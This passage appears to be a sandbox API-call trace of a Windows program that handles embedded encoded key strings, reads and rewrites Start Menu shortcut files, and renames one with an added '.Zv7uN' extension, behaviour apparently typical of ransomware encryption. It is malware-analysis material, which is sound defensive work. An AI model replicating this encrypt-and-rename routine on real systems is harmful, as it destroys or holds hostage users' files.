LDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0131.629] GetCurrentThreadId () returned 0xa30 [0131.629] GetCurrentThreadId () returned 0xa30 [0131.629] GetCurrentThreadId () returned 0xa30 [0131.629] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0131.630] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0131.630] GetCurrentThreadId () returned 0xa30 [0131.630] GetCurrentThreadId () returned 0xa30 [0131.630] GetCurrentThreadId () returned 0xa30 [0131.630] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\NetworkProjection.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\networkprojection.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0131.630] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0131.630] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0131.631] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x4da [0131.631] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0131.631] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0x4da, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f3d4*=0x4da, lpOverlapped=0x0) returned 1 [0131.634] CloseHandle (hObject=0x1e8) returned 1 [0131.634] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\NetworkProjection.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\networkprojection.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0131.637] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f30790*, nNumberOfBytesToWrite=0x4da, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f30790*, lpNumberOfBytesWritten=0x18f3e0*=0x4da, lpOverlapped=0x0) returned 1 [0131.639] CloseHandle (hObject=0x1e8) returned 1 [0131.639] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\NetworkProjection.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\networkprojection.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\NetworkProjection.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\networkprojection.lnk.zv7un")) returned 1 [0131.641] GetCurrentThreadId () returned 0xa30 [0131.641] GetCurrentThreadId () returned 0xa30 [0131.641] GetCurrentThreadId () returned 0xa30 [0131.641] GetCurrentThreadId () returned 0xa30 [0131.641] GetCurrentThreadId () returned 0xa30 [0131.641] GetCurrentThreadId () returned 0xa30 [0131.641] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d8b74ec, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2d8b74ec, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2da0e14f, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4da, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Paint.lnk", cAlternateFileName="")) returned 1 [0131.641] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0131.641] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0131.641] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\paint.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d8b74ec, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2d8b74ec, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2da0e14f, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4da)) returned 1 [0131.641] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\paint.lnk")) returned 0x20 [0131.642] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk", dwFileAttributes=0x80) returned 1 [0131.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0131.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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